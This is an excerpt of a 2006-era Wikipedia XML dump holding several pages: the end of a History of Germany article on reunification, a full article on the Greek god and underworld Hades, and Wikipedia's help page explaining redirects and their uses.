[[Image:Berlin-wall-dancing.jpg|thumb|250px|right|The [[Berlin Wall]] that had partitioned [[Berlin]] in front of the [[Brandenburg Gate]] shortly after the opening of the wall.]]
During the summer of [[1989]], rapid changes took place in East Germany, which ultimately led to [[German reunification]]. Growing numbers of East Germans emigrated to West Germany via [[Hungary]] after Hungary's reformist government opened its borders. Thousands of East Germans also tried to reach the West by staging sit-ins at West German diplomatic facilities in other East European capitals. The exodus generated demands within East Germany for political change, and mass demonstrations in several cities continued to grow.

Faced with civil unrest, East German leader [[Erich Honecker]] was forced to resign in [[October]], and on [[9 November]], East German authorities unexpectedly allowed East German citizens to enter West Berlin and West Germany. Hundreds of thousands of people took advantage of the opportunity; new crossing points were opened in the Berlin Wall and along the border with West Germany. This led to the acceleration of the process of reforms in East Germany that ended with the [[German reunification]] that came into force on [[3 October]] [[1990]].

Together with [[France]] and other EU states, the new Germany has played the leading role in the [[European Union]]. Germany is at the forefront of European states seeking to exploit the momentum of monetary union to advance the creation of a more unified and capable European political, defence and security apparatus. The German chancellor expressed an interest in a permanent seat for Germany in the [[UN Security Council]], identifying France, [[Russia]] and [[Japan]] as countries that explicitly backed Germany's bid.

==See also==
* [[Drang nach Osten]]
* [[Germany]]
* [[1920s Berlin]]
* [[History of Europe]]
* [[History of present-day nations and states]]

==External links==

* [http://www.rootsweb.com/~deubadnw/history/maps/maps.htm Historical maps of Germany]

{{Middle Ages}}

[[Category:History of the Germanic peoples]]
[[Category:History of Europe|Germany]]
[[Category:History of Germany]]

[[cs:Dějiny Německa]]
[[da:Tysklands historie]]
[[de:Geschichte Deutschlands]]
[[es:Historia de Alemania]]
[[eo:Historio de Germanio]]
[[fr:Histoire de l'Allemagne]]
[[ko:독일의 역사]]
[[it:Storia della Germania]]
[[he:היסטוריה של גרמניה]]
[[lt:Vokietijos istorija]]
[[nl:Geschiedenis van Duitsland]]
[[ja:ドイツの歴史]]
[[nn:Tysk historie]]
[[pt:História da Alemanha]]
[[ru:История Германии]]
[[sr:Историја Немачке]]
[[fi:Saksan historia]]
[[sv:Tysklands historia]]
[[zh:德国历史]]</text>
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  <page>
    <title>Hades</title>
    <id>13225</id>
    <revision>
      <id>42108114</id>
      <timestamp>2006-03-03T21:53:50Z</timestamp>
      <contributor>
        <username>Jkelly</username>
        <id>357262</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/86.143.1.28|86.143.1.28]] ([[User talk:86.143.1.28|talk]]) to last version by Francisco Valverde</comment>
      <text xml:space="preserve">{{alternateuses}}
[[Image:Hades (Greek Mythology).jpg|thumb|right|200px|Hades, [[Ancient Greece|Greek]] god of the underworld, enthroned, with his bird-headed staff, on a red-figure vase made in the 4th century B.C.]]

'''Hades''' (From {{polytonic|ᾍδης}}, ''Hadēs'', or {{polytonic|Ἅιδης}}, ''Háidēs'', [[Greek language|Greek]] for &quot;unseen&quot;{{ref|unseen}}) refers to both the ancient Greek abode of the dead and the god of that [[underworld]]. The word originally referred to just the god; ''haidou'', its [[genitive case|genitive]], was short for &quot;the house of Hades&quot;. Eventually, the [[nominative case|nominative]], too, came to designate the abode of the dead.

Hades was also known as [[Pluto (mythology)|Pluto]] (from Greek Πλούτων, ''Plouton''), and was known by this name, as well as [[Dis Pater]] and [[Orcus (mythology)|Orcus]], in [[Roman mythology]]; the corresponding [[Etruscan mythology|Etruscan]] god was [[Aita]]. &quot;Hades&quot; is sometimes employed by Christians as a classicizing [[euphemism]] for [[Hell]], which otherwise has few of the original attributes of Hades.

== Location ==   
There were several sections of Hades, including the [[Elysium|Elysian Fields]] (contrast the Christian [[Paradise]] or [[Heaven]]), and [[Tartarus]], (compare the Christian [[Hell]]). Greek [[mythographer]]s were not perfectly consistent about the geography of the [[afterlife]].

A contrasting myth of the Afterlife concerns the [[Hesperides|Garden of the Hesperides]], often identified with the [[Fortunate Isles|Isles of the Blessed]].    

In [[Roman mythology]], an entrance to the underworld located at [[Avernus]], a crater near [[Cumae]], was the route [[Aeneas]] used to descend to the Underworld. By [[synecdoche]], &quot;Avernus&quot; could be substituted for the underworld as a whole. The [[Inferi Dii]] were the Roman gods of the underworld.

The deceased entered the underworld by crossing the river [[Acheron]], ferried across by [[Charon (mythology)|Charon]] (kair'-on), who charged an ''[[obolus]],'' a small coin for passage, placed under the tongue of the deceased by pious relatives. Paupers and the friendless gathered forever on the near shore. The far side of the river was guarded by [[Cerberus]], the three-headed dog defeated by [[Heracles]] (Roman [[Hercules]]). Beyond Cerberus, the shades of the departed entered [[Tartarus]], the land of the dead.

The five rivers of Hades are [[Acheron]], [[Cocytus]], [[Phlegethon]], [[Lethe]] and [[Styx (mythology)|Styx]]. See also [[Eridanos (mythology)|Eridanos]].

The first region of Hades comprises the Fields of [[Asphodel]], described in ''[[Odyssey]]'' xi, where the shades of heroes wander despondently among lesser spirits, who twitter around them like bats. Only [[libation]]s of blood offered to them in the world of the living can reawaken in them for a time the sensations of humanity (compare [[vampire]]s).

Beyond lay [[Erebus]], which could be taken for a euphonym of Hades, whose own name was dread. There were two pools, that of Lethe, where the common souls flocked to erase all memory, and the pool of [[Mnemosyne]] (&quot;memory&quot;), where the initiates of the Mysteries drank instead. In the forecourt of the baleful palace of Hades and Persephone sit the three judges of the Underworld: [[Minos]], [[Rhadamanthys]] and [[Aeacus]]. There at the [[trivium]] sacred to [[Hecate]], where three roads meets, souls are judged, returned to the Fields of Asphodel if they are neither virtuous nor evil, sent by the road to Tartarus if they are impious or evil, or sent to [[Elysium]] with the heroic or blessed.

== Entity ==
In [[Greek mythology]], '''Hades''' (the &quot;unseen&quot;), the god of the underworld, was a son of the [[Titan (mythology)|Titan]]s  [[Cronus]] and [[Rhea (mythology)|Rhea]]. He had three older sisters, [[Hestia]], [[Demeter]], and [[Hera]], as well as two younger brothers, [[Poseidon]] and [[Zeus]]: together they accounted for half of the [[Twelve Olympians|Olympian]] gods.

Upon reaching adulthood Zeus managed to force his father to disgorge his siblings. After their release the six younger gods, along with allies they managed to gather, challenged their parents and uncles for power in [[Titanomachy]], a divine war. Zeus, Poseidon and Hades received weapons from the three Cyclops to help in the war. Zeus the thunderbolt; Hades the helmet of  invisibility; and Poseidon the trident. During the night before the first battle Hades put on his helmet and, being invisible, stole over to the Titans' camp and destroyed their weapons. The war lasted for ten years and ended with the victory of the younger gods. Following their victory Hades and his two younger brothers, Poseidon and Zeus, drew lots for realms to rule. Zeus got the sky, Poseidon got the seas, and Hades received the underworld, the unseen realm to which the dead go upon leaving the world.

Hades obtained his eventual consort, [[Persephone]], through trickery, a story that connected the ancient [[Eleusinian Mysteries]] with the Olympian pantheon. 

Hades ruled the dead, assisted by demons over whom he had complete authority. He strictly forbade his subjects to leave his domain and would become quite enraged when anyone tried to leave, or if someone tried to steal his prey from him.

Besides [[Heracles]], the only other living persons who ventured to the Underworld were all [[hero]]es: [[Odysseus]], [[Aeneas]] (accompanied by the [[Cumaean Sibyl|Sibyl]]), [[Orpheus]], and [[Theseus]]. None of them was especially pleased with what they witnessed in the realm of the dead. In particular, the [[Trojan War]] hero [[Achilles]], whom Odysseus met in Hades (although some believe that Achilles dwells in the [[Fortunate Isles|Isles of the Blest]]), said:

:&quot;Do not speak soothingly to me of death, glorious Odysseus.  I should choose to serve as the hireling of another, rather than to be lord over the dead that have perished.&quot;
::&amp;mdash;Achilles' soul to Odysseus. [[Homer]], ''[[Odyssey]]'' 11.488

=== Worship ===
[[Image:Amphora Hades Louvre G209.jpg|thumb|260px|Hades, labelled as as ''&quot;Plouton&quot;'', &quot;The Rich One&quot;, bears a [[cornucopia]] on an Attic red-figure amphora, ca 470 BCE.]]

Hades was a fearsome figure to those still living; in no hurry to meet him, they were reticent to swear oaths in his name. To many, simply to say the word &quot;Hades&quot; was frightening. So, a euphemism was pressed into use. Since precious minerals come from under the earth (i.e., the &quot;underworld&quot; ruled by Hades), he was considered to have control of these as well, and was referred to as Πλούτων (Plouton, related to the word for &quot;wealth&quot;), hence the Roman name [[Pluto (god)|Pluto]]. [[Sophocles]] explained referring to Hades as &quot;the rich one&quot; with these words: &quot;the gloomy Hades enriches himself with our sighs and our tears.&quot; In addition, he was called [[Clymenus]] (&quot;notorious&quot;), [[Eubuleus]] (&quot;well-guessing&quot;), and [[Polydegmon]] (&quot;who receives many&quot;).

Although he was an Olympian, he spent most of the time in his dark realm.  Formidable in battle, he proved his ferocity in the famous [[Titanomachy]], the battle of the Olympians versus the [[Titans]], which established the rule of Zeus. 

Because of his dark and morbid personality he was not especially liked by either the gods nor the mortals. His character is described as &quot;fierce and inexorable&quot;, and of all the gods he was by far most hated by mortals. He was not, however, an evil god, for although he was stern, cruel, and unpitying, he was still just. Hades ruled the Underworld and therefore most often associated with death and was feared by men, but he was not Death itself &amp;mdash; the actual embodiment of Death was [[Thanatos]].   

When the Greeks worshipped Hades, they banged their hands on the ground to be sure he would hear them. Black animals, such as sheep, were sacrificed to him, and it is believed that at one time even human sacrifices were offered.  The blood from sacrifices to Hades dripped into a pit so it could reach him.  The person who offered the sacrifice had to turn away his face.  Every hundred years festivals were held in his honor, called the [[Secular_games|Secular Games]].

Hades' weapon was a two-pronged fork, which he used to shatter anything that was in his way or not to his liking, much as Poseidon did with his trident.  This ensign of his power was a staff with which he drove the shades of the dead into the lower world.

His identifying possessions included a famed helmet, given to him by the [[Cyclopes]], which made anyone who wore it invisible. Hades was known to sometimes loan his helmet of invisibility to both gods and men (such as [[Perseus|Perseus]]). His dark chariot, drawn by four coal-black horses, always made for a fearsome and impressive sight.  His other ordinary attributes were the Narcissus and Cypress plants, the Key of Hades and [[Cerberus]], the many-headed dog. He sat on an ebony throne.

=== Artistic representations === 
Hades is rarely represented in classical arts, save in depictions of the [[Persephone#The Abduction Myth|Rape of Persephone]].
Hades is also mentioned in ''The Odyssey,'' when Odysseus visits the underworld as part of his journey.

=== Persephone ===   
The consort of Hades, and the archaic queen of the Underworld in her own right, before the Hellene Olympians were established, was [[Persephone]], represented by the Greeks as daughter of Zeus and [[Demeter]].  Persephone did not submit to Hades willingly, but was abducted by him while picking flowers with her friends.  Hades loved Persphone so deeply that he did not free her from the underworld. Persephone's mother missed her and without her daughter by her side she cast a curse on the land and there was a great famine. Hades tricked Persephone into eating three [[pomegranate]] seeds, which meant that she would be unable to leave the underworld even with the help of Zeus. Persephone knew of her mother's depression and asked Hades to return her to the land of the living, on the condition that she would stay with him for one-third of the year. Every year Hades fights his way back to the land of the living with Persephone in his chariot. Famine (winter) occurs during the months that Persephone is gone and Demeter grieves in her absence.It is believed that the last half of the word Persephone comes from a word meaning 'to show' and evokes an idea of light. Whether the first half derives from a word meaning 'to destroy' - in which case Persephone would be 'she who destroys the light'.

=== Orpheus and Eurydice ===   
Hades showed mercy only once: Because the music of [[Orpheus]] was so hauntingly good, he allowed Orpheus to bring his wife, [[Eurydice]], back to the land of the living as long as she walked behind him and he never tried to look at her face until they got to the surface. Orpheus agreed but, yielding to the temptation to glance backwards, failed and lost Eurydice again, to be reunited with her only after his death.

=== Minthe and Leuce  ===   
According to [[Ovid]], Hades pursued and would have won the nymph [[Minthe]], associated with the river [[Cocytus]], had not Persephone turned Minthe into the plant called [[mint]]. Similarly the nymph [[Leuce (mythology)|Leuce]], who was also ravished by him, was metamorphosed by Hades into a white [[poplar|poplar tree]] after her death.

=== Theseus and Pirithous ===   
Hades imprisoned [[Theseus]] and [[Pirithous]], who had pledged to marry daughters of [[Zeus]]. Theseus chose [[Helen]] and together they kidnapped her and decided to hold onto her until she was old enough to marry. Pirithous chose [[Persephone]]. They left Helen with Theseus' mother, [[Aethra]] and traveled to the underworld. Hades pretended to offer them hospitality and set a feast; as soon as the pair sat down, snakes coiled around their feet and held them there. Theseus was eventually rescued by [[Heracles]].

=== Heracles ===   
[[Heracles]]' final labour was to capture Cerberus. First, Heracles went to [[Eleusis]] to be initiated into the [[Eleusinian Mysteries]]. He did this to absolve himself of guilt for killing the [[centaur]]s and to learn how to enter and exit the underworld alive. He found the entrance to the underworld at [[Tanaerum]]. [[Athena]] and [[Hermes]] helped him through and back from Hades. Heracles asked Hades for permission to take Cerberus. Hades agreed as long as Heracles didn't harm him, though in some versions, Heracles shot Hades with an arrow. When Heracles dragged the dog out of Hades, he passed through the cavern [[Acherusia]].

==Other names==
*&amp;#902;&amp;#953;&amp;#948;&amp;#951;&amp;#962;
*Aides
*Aiidoneus
*Haides
*Pluton
*Plouton
*The Rich One
*The Unseen One
In Roman Mythology
*Pluto
*Pluton
*Dis
*Dis Pater
*Orcus

==Biblical use==
The Greek [[New Testament]] uses ''hades'' several times, with various connotations of bodily decay and the power of death, none of them applicable to the Hades of Greek mythology, unless it were ''[[Gospel of Luke|Luke]]'' 16:23.

16:23 (King James Version)- &quot;And in hell he lift up his eyes, being in torments, and seeth Abraham afar off, and Lazarus in his bosom.&quot;

==In popular culture==
In ''[[Dungeons &amp; Dragons]]'', Hades is one of the seven lower planes of existence.  More commonly referred to as the Gray Wastes, the plane is a place of disease and corruption, with apathy and despair emanating from the very land.  While the plane and its inhabitants are dangerous and evil enough by themselves, Hades is especially hazardous because it's the main battlefield in the [[Blood War]].

In Saint Seiya, (Both the Manga and the Anime) Hades is the King of the Underworld. He has an army of 108 Spectres, Seiya and his friends must fight all the Spectres to rescue Athena.

Hades is cast as the [[villain]] in [[Walt Disney Pictures|Disney]]'s 1997 animated retelling ''[[Hercules (1997 film)|Hercules]]'' with inauthentic improvisations for comic effect; he is voiced by [[James Woods]]. This version of Hades also appeared in Squaresoft and Disney Interactive's ''[[Kingdom Hearts]]'' series as one of the Disney villains working with Maleficent. James Woods voices him in the english version.

In the popular video game, Final Fantasy IX, Hades is one of the optional bosses you can face. Located in the water portion of the Crystal World, behind a coagulation of rocks, Hades dishes out heavy attacks and malady-causing spells. Once defeated, he becomes an item synthesizer for you. Here you can purchase the other Pumice Piece and have them fused to create the eidolion Ark.

Also in the video game Final Fantasy VII, Hades is a hidden summon found in the crashed underwater Shinra plane.

== In Neopaganism ==
&lt;!--Many Neopagan websites and sects, a personal neopagan friend, public neopagan &quot;circles&quot; in the Giles County area of Tennessee--&gt;
Many [[neopaganism|neopagans]] today, particularly Hellenistic [[neopaganism|neopagans]] in the [[United States]], have what many would consider [[new-age]] views of Hades. Hades, the afterlife, is seen as a place of Limbo, containing domains for those who are good, but not good enough for entry into [[Elysium]] (in many ways heaven) and domains for those who are evil, but not so evil to be cast into [[Tartarus]] (in many ways hell). 

Many [[neopaganism|neopagans]] believe that the domain of Hades is where all souls go to be judged by the deity Hades, who is thought to hold the ''Book of Life'' which records all mortal deeds, good or ill. The god Hades is thought to be unconcerned with any form of worship and sacrifice, and totally devoid of compassion or emotion for mortals. Modern neopagans sometimes believe that the deity Hades consults [[Themis]] and [[Hyperion (mythology)|Hyperion]] when deciding a mortal's fate. Should a mortal be observed by Hyperion to be evil, but unworthy of eternal torture, the souls are cast into the lower bowels of Hades, to a drab and unpleasant existence in which they may or may not be issued punishment. Should a mortal be observed by Hyperion to be virtuous, but not worthy of entry into Elysium, Hades allows the mortal to wander free in the upper levels of Hades, believed to be much like life on Earth. Themis, after the observations are made, consults Hades, who passes Judgment.

Whether a soul is allowed entry into Elysium or cast into Tartarus is believed by many Pagans to depend on whether Hyperion's observations of one's earthly ills and virtues carries disproportionate weight. For example, some believe that a set of scales (carried by Themis) will tilt with each observation, and how far the scales are from being balanced determines whether one is rewarded or punished, and the subsequent severity of punishment or greatness of one's reward.

==Notes==
#{{note|unseen}} A related [[Hebrew language|Hebrew]] word for the abode of the dead, ''[[Sheol|She'Ol]]'', also literally meant &quot;unseen&quot;.

==External links==
;Maps of the Underworld (Greek mythology)
* [http://www.thanasis.com/undrmapr.jpg Color map]
* [http://virgil.org/maps/images/cumae.gif Ancient map]
* [http://homepage.mac.com/cparada/GML/Underworldmap.html Map of the Underworld]

{{Greek myth (chthonic olympian)}}

[[Category:Death gods]]
[[Category:Etruscan gods]]
[[Category:Greek gods]]
[[Category:Christian eschatology]]

&lt;!-- The below are interlanguage links. --&gt;

[[bg:Хадес]]
[[ca:Hades]]
[[cs:Hádés]]
[[da:Hades]]
[[de:Hades]]
[[el:Άδης]]
[[es:Hades]]
[[eo:Hadeso]]
[[eu:Hades]]
[[fr:Hadès (dieu)]]
[[it:Ade]]
[[he:האדס]]
[[ka:ჰადესი]]
[[lt:Hadas]]
[[nl:Hades]]
[[ja:ハデス]]
[[no:Hades]]
[[pl:Hades]]
[[pt:Hades]]
[[ru:Аид]]
[[simple:Hades]]
[[sk:Hádes]]
[[sl:Had]]
[[sr:Хад]]
[[fi:Haades]]
[[sv:Hades]]
[[uk:Аїд]]
[[zh:哈底斯]]</text>
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  <page>
    <title>How does one edit a page/Name new pages</title>
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      <timestamp>2003-01-17T05:47:46Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
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      <comment>#REDIRECT [[Wikipedia:How_to_edit_a_page]]</comment>
      <text xml:space="preserve">#REDIRECT [[Wikipedia:How_to_edit_a_page]]</text>
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    <title>Wikipedia:Redirect</title>
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      <contributor>
        <username>Gareth Aus</username>
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      <comment>rm duplification</comment>
      <text xml:space="preserve">&lt;noinclude&gt;{{Wikipedia-specific help}}&lt;/noinclude&gt;
{{Shortcut|[[WP:R]] or [[WP:RDR]]}}
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That will also add the redirect to the category listed in the Category column below.

&lt;!--
It's possible to add a text in the same line after the #REDIRECT to describe why it had been created. There is a [[Wikipedia:Template messages/Redirect pages|list of Redirect message templates]] (with titles starting with &quot;R_&quot;) in the Template namespace that may be used for this, e.g. &lt;nowiki&gt;{&lt;/nowiki&gt;{R_to_sort_name}} displays [[Template:R_to_sort_name]], e.g. on 
[{{SERVER}}{{localurl:Aasen, Ivar Andreas|redirect=no}} Aasen,_Ivar_Andreas] ''(if you click this link, you won't be redirected. When you click 'Edit this page' there, you will see how it can be used)''. '''Note: This feature is broken right now. See the [[MediaZilla:927|bug report]].'''
--&gt;

More examples are included below:

== What do we use redirects for? ==
{| class=&quot;wikitable&quot;
!Reason
!Usage notes, and text that will be shown
!Tag
!Category to find articles so tagged
|-
|Abbreviations
|{{R from abbreviation}}
*[[DSM-IV]] redirects to [[Diagnostic and Statistical Manual of Mental Disorders]]
|{{tl|R from abbreviation}}
|[[:Category:Redirects from abbreviation]]
|-
|Misspellings
|{{R from misspelling}}
*[[Condoleeza Rice]] redirects to [[Condoleezza Rice]]
|{{tl|R from misspelling}}
|[[:Category:Redirects from misspellings]]
|-
|Other spellings, other punctuation
|{{R from alternate spelling}}
*[[colour]] redirects to [[color]]
* [[Al-Jazeera]] redirects to [[Al Jazeera]]
|{{tl|R from alternate spelling}}
|[[:Category:Redirects from alternate spellings]]
|-
|Other capitalisations, for use in links
|{{R from other capitalisation}}
*[[Natural Selection]] redirects to [[Natural selection]]
|{{tl|R for alternate capitalisation}}
|[[:Category:Redirects for alternative capitalisation]]
|-
|Other capitalisations, to ensure that &quot;Go&quot; to a mixed-capitalisation article title is case-insensitive
|{{R from other capitalisation}}

Adding a redirect for '''mixed-capitalisation article titles''' (e.g., Isle of Wight) allows &quot;Go&quot; to these articles to be case-insensitive. For example, without the redirect [[Isle of wight]] a &quot;Go&quot; for &quot;Isle Of wight&quot; or any capitalisation other than exactly 'Isle of Wight' would not find the article [[Isle of Wight]].

'''Why''': Articles whose titles contain mixed-capitalisation words (not all initial caps, or not all lower case except the first word) are found via &quot;Go&quot; only by an exact case match. (Articles, including redirects, whose titles are either all initial caps or only first word capitalised are found via &quot;Go&quot; using a case-insensitive match.)

Note: &quot;Go&quot; related redirects are needed '''only if''' the article title has more than two words and words following the first have different capitalisations. They are not needed, for example, for proper names which are all initial caps.

Examples:
*Redirect [[Vice chancellor of austria]] to [[Vice Chancellor of Austria]] is needed because the Go search is case-sensitive for mixed-caps titles.  Adding this redirect allows the article to be found when a user enters &quot;vice chancellor of austria&quot; or &quot;vice chancellor of Austria&quot; as a Go search.
*No redirect to [[Francis Ford Coppola]] is needed because the &quot;Go&quot; command is case-insensitive for an article whose title is all initial caps. Any capitalisation (e.g. &quot;francis fOrD CoPPola&quot;) entered as a &quot;Go&quot; will find the article. 
|{{tl|R from other capitalisation}}
|[[:Category:Redirects for alternative capitalisation]]
|-
|Other names, pseudonyms, nicknames, and synonyms
|{{R from alternate name}}
*[[Wellie throwing]] redirects to [[Wellie wanging]]
*[[Butcher of Kurdistan]] redirects to [[Ali Hassan al-Majid]]
*[[Rev. Fred Phelps]] redirects to [[Fred Phelps]]
*[[Linear operator]] redirects to [[Linear transformation]]
|{{tl|R from alternate name}}
|[[:Category:Redirects from alternate names]]
|-
|Scientific names
|{{R from scientific name}}
*[[Heosemys depressa]] redirects to [[Arakan Forest Turtle]]
*[[Deuterium oxide]] redirects to [[Heavy water]]
*[[1P/Halley]] redirects to [[Comet Halley]]
|{{tl|R from scientific name}}
|[[:Category:Redirects from scientific names]]
|-
|Other languages
|{{R from alternate language}}
*[[The Abduction from the Seraglio]]  redirects to [[Die Entführung aus dem Serail]]
|{{tl|R from alternate language}}
|[[:Category:Redirects from alternate languages]]
|-
|Accents
|{{R from ASCII}}
*[[Kurt Goedel]] and [[Kurt Godel]] redirect to [[Kurt Gödel]]
|{{tl|R from ASCII}}
|[[:Category:Redirects from titles with ASCII]]
|-
|Plurals, tenses, etc
|{{R from plural}}
*[[greenhouse gases]] redirects to [[greenhouse gas]], etc. 
Note that &lt;nowiki&gt;[[greenhouse gas]]es&lt;/nowiki&gt; shows up as [[greenhouse gas]]es, so it is not usually necessary to redirect plurals.  However third-party websites started adding automatic links to wikipedia from their topics (see, e.g., [http://www.spikemagazine.com/free-new-books/2005/12/explorion-free-travel-books.php]). Many of them follow the opposite naming convention, i.e., topics are named in plural, and the link to wikipedia may land into an empty page, if there is no redirect. &lt;!-- fixed a couple myself --&gt;
|{{tl|R from plural}}
|[[:Category:Redirects from plurals]]
|-
|Related words
|{{R from related word}}
*[[Symbiont]] redirects to [[Symbiosis]]
|{{tl|R from related word}}
|[[:Category:Redirects from related words]]
|-
|Sub-topics or closely related topics that should be explained within the text
|{{R with possibilities}}
*[[Distributed denial of service]] redirects to [[Denial of service]]
|{{tl|R with possibilities}}
|[[:Category:Redirects with possibilities]]
|-
|Facilitate disambiguation
|{{R to disambiguation page}}
*[[America (disambiguation)]] redirects to [[America]]
|{{tl|R to disambiguation page}}
|[[:Category:Redirects to disambiguation pages]]
|-
|To track statements that date quickly
|{{R for as of}}
*[[As of 2003]] redirects to [[2003]]
*See [[Wikipedia:As of]] for more info.
|{{tl|R for as of}}
|[[:Category:Redirects from &quot;As of&quot;]]
|-
|To redirect to decade article
|{{R to decade}}
*[[1003 BC]] redirects to [[1000s BC]]
|{{tl|R to decade}}
|[[:Category:Redirects to decade]]
|-
|To redirect from a shortcut
|{{R from shortcut}}
*[[WP:CAT]] redirects to [[Wikipedia:Category]]
|{{tl|R from shortcut}}
|[[:Category:Redirects from shortcut]]
|-
|Oldstyle CamelCase links
|{{R from CamelCase}}
*[[DemocracY]] redirects to [[Democracy]]
|{{tl|R from CamelCase}}
|[[:Category:Redirects from CamelCase]]
|-
|links autogenerated from EXIF information
|{{R from EXIF}}
*[[Adobe Photoshop CS Windows]] redirects to [[Adobe Photoshop]]
|{{tl|R from EXIF}}
|[[:Category:Redirects from EXIF information]]
|-
|From school microstub to merge location
|{{R from school}}
*[[Culler Middle School]] redirects to [[Lincoln Public Schools]]
|{{tl|R from school}}
|[[:Category: Redirects from school articles]]
|}
* Avoiding broken links (see [[#Renamings and merges|below]])

* Minor but notable topics

[[Template:R with possibilities|Sub-topic redirects]] are often temporary, eventually being replaced by fully fledged articles on the sub-topic in question. Be conservative when creating sub-topic redirects &amp;mdash; they can sometimes be counter-productive, because they disguise the absence of a proper article from editors. Sub-topic redirects should only be used where the main article has a section on the sub-topic. For example, [[denial of service]] has a section on distributed denial of service. Sub-topics should be '''boldfaced''' on their first appearance in the section, to indicate that they are in fact alternate titles or sub-titles.

In accordance with [[wikipedia:naming conventions (precision)]] it's best to have an article at a well-defined, unambiguous term, with redirects from looser colloquial terms, rather than vice versa.

Some editors prefer to avoid redirects and link directly to the target article, as it is reported that redirects lower search engine rankings.

'''''See also''': [[Wikipedia:Template messages/Redirect pages]] which contains a somewhat longer list of available redirect templates''

=== Renamings and merges ===
We try to avoid broken links, because they annoy visitors. Therefore, if we change the layout of some section of Wikipedia, or we merge two [[wikipedia:duplicate articles|duplicate articles]], we always leave redirects in the old location to point to the new location. Search engines and visitors will probably have linked to ''that'' page at ''that'' url. If the page is deleted, potential new visitors from search engines will be greeted with an edit window. The same is true for anyone who previously bookmarked ''that'' page, and so on. 

On a small scale, this applies to cases where we had duplicate articles on some subject, or lots of twisty little stubs on different aspects of the same overall subject. On a larger scale, we've had a few fairly major reorganisations:

* Moving away from [[CamelCase]] article names
* Moving away from having homepages in the article namespace (see [[User:Tim Starling/Redirects from : to User:]] for a partial list)
* Moving away from using [[wikipedia:subpages|subpages]] in the article namespace

== When should we delete a redirect? ==

To delete a redirect '''without replacing it with a new article''', list it on [[wikipedia:redirects for deletion|redirects for deletion]]. See [[wikipedia:deletion policy|deletion policy]] for details on how to nominate pages for deletion.

This isn't necessary if you just want to replace a redirect with an article, or change where it points: see [[meta:redirect#How do I change a redirect?|How do I change a redirect?]] for instructions on how to do this. If you want to ''swap'' a redirect and an article, but are not able to move the article to the location of the redirect please use [[Wikipedia:Requested moves]] to request help from an [[Wikipedia:Administrators|admin]] in doing that.

&lt;!-- If you modify this list, do the same to the copy at [[WP:RfD]]. --&gt;
&lt;!-- Apparently this is too complex for some people to follow. Let's try it this way, then. --&gt;
{{Wikipedia:Redirect/DeletionReasons}}

== What needs to be done on pages that are targets of redirects? ==
We follow the &quot;[[Wikipedia:Guide to writing better articles#Principle of least astonishment|principle of least astonishment]]&quot; &amp;mdash; after following a redirect, the readers's first question is likely to be: &quot;hang on ... I wanted to read about ''this''. Why has the link taken me to ''that''?&quot;. Make it clear to the reader that they ''have'' arrived in the right place.

Normally, we try to make sure that all &quot;inbound redirects&quot; are mentioned in the first couple of paragraphs of the article. For example:

* '''Longships''' were boats used by the Vikings... 
** [[longship]], redirect from [[viking ship]]
* '''Edvard Munch''' ([[1863]]&amp;ndash;[[1944]]) was ... The broadest collection of his works is at on display at the Munch Museum at...
** [[Edvard Munch]], redirect from [[Munch Museum]]

Don't cause a [[Wikipedia:Double redirects|secondary redirect]].  They don't work like a primary redirect; same with tertiary redirects.

== Self-links, duplicate links ==
Avoid [[Wikipedia:Self link|self-links]], including self-links through redirects (&quot;loop links&quot;). Also, avoid having two links that go to the same place. These can confuse readers, and cause them to unnecessarily load the same page twice.

== Don't fix redirects that aren't broken ==
Some editors are tempted, upon finding links using a legitimate redirect target, to edit the page to &quot;fix&quot; the redirect so that it points &quot;straight&quot; at the &quot;correct&quot; page.  Unless the link ''displays'' incorrectly—for instance, if the link is to a misspelling or if the hint that appears when you hover over the link is misleading—there is no need to edit the link.  Most especially, there should ''never'' be a need to replace &lt;nowiki&gt;[[redirect]] with [[direct|redirect]]&lt;/nowiki&gt;.

Some editors are under the mistaken impression that fixing such links improves the capacity of the Wikipedia servers.  But because editing a page is ''thousands'' of times more expensive for the servers than following a redirect, the opposite is actually true.

== See also ==
*[[Wikipedia:Soft redirect]]
*[[Wikipedia:How to edit a page|How to edit a page]]
*[[Wikipedia:How to rename (move) a page|How to rename (move) a page]]
*[[Wikipedia:Redirects for deletion|Redirects for deletion]]
*[[Wikipedia:Redirects with possibilities|Redirects with possibilities]]
*[[User:Daniel Quinlan/redirects]]-project
*[[Wikipedia:List of interwiki redirects|List of interwiki redirects]]
*[[Wikipedia:Multiple redirects]] (maintenance list for items to be fixed)
*[[Wikipedia:Speedy redirection|Speedy redirection]]
*[[Wikipedia:Redirects to be made|Redirects to be made]]
*[[Wikipedia:Disambiguation]]

[[Category:Redirects|*]]
[[Category:Wikipedia features|{{PAGENAME}}]]
[[Category:Wikipedia how-to]]

[[af:Wikipedia:Aanstuur]]
[[ar:ويكيبيديا:صفحة تحويل]]
[[cs:Wikipedie:Přesměrování]]
[[da:Wikipedia:Hvordan omdirigerer jeg en side]]
[[de:Hilfe:Weiterleitung]]
[[es:Wikipedia:Redirecciones]]
[[eo:Vikipedio:Alidirektilo]]
[[fr:Aide:Redirection]]
[[fy:Wikipedy:Trochferwizing]]
[[ko:위키백과:넘겨주기 문서]]
[[id:Wikipedia:Pengalihan]]
[[it:Aiuto:Redirect]]
[[he:ויקיפדיה:דף הפניה]]
[[nl:Help:Redirect]]
[[ja:Wikipedia:リダイレクト]]
[[pl:Wikipedia:Przekierowanie]]
[[sv:Wikipedia:Omdirigeringar]]
[[th:วิกิพีเดีย:หน้าเปลี่ยนทาง]]
[[vi:Trợ giúp:Đổi hướng]]
[[zh:Wikipedia:重定向]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:Nupedia and Wikipedia</title>
    <id>13235</id>
    <revision>
      <id>35537964</id>
      <timestamp>2006-01-17T13:44:28Z</timestamp>
      <contributor>
        <username>IMSoP</username>
        <id>9876</id>
      </contributor>
      <minor />
      <comment>revert: BASIC *was* based off of there, as can be seen [http://en.wikipedia.org/w/index.php?title=BASIC_programming_language&amp;oldid=238909 in the first revision]</comment>
      <text xml:space="preserve">{{historical}}
[[Nupedia]] was a low activity [[open content]], international, peer reviewed [[encyclopedia]] project formerly run by [[Larry Sanger]]; Larry also started [[Wikipedia]] when he got the idea of supplementing Nupedia with a less formal &quot;wiki&quot; encyclopedia project. So there is a historical connection between the projects. Both [[Nupedia]] and [[Wikipedia]] are originated by [[Bomis]], a WebPortal company, so a wider management connection exists.

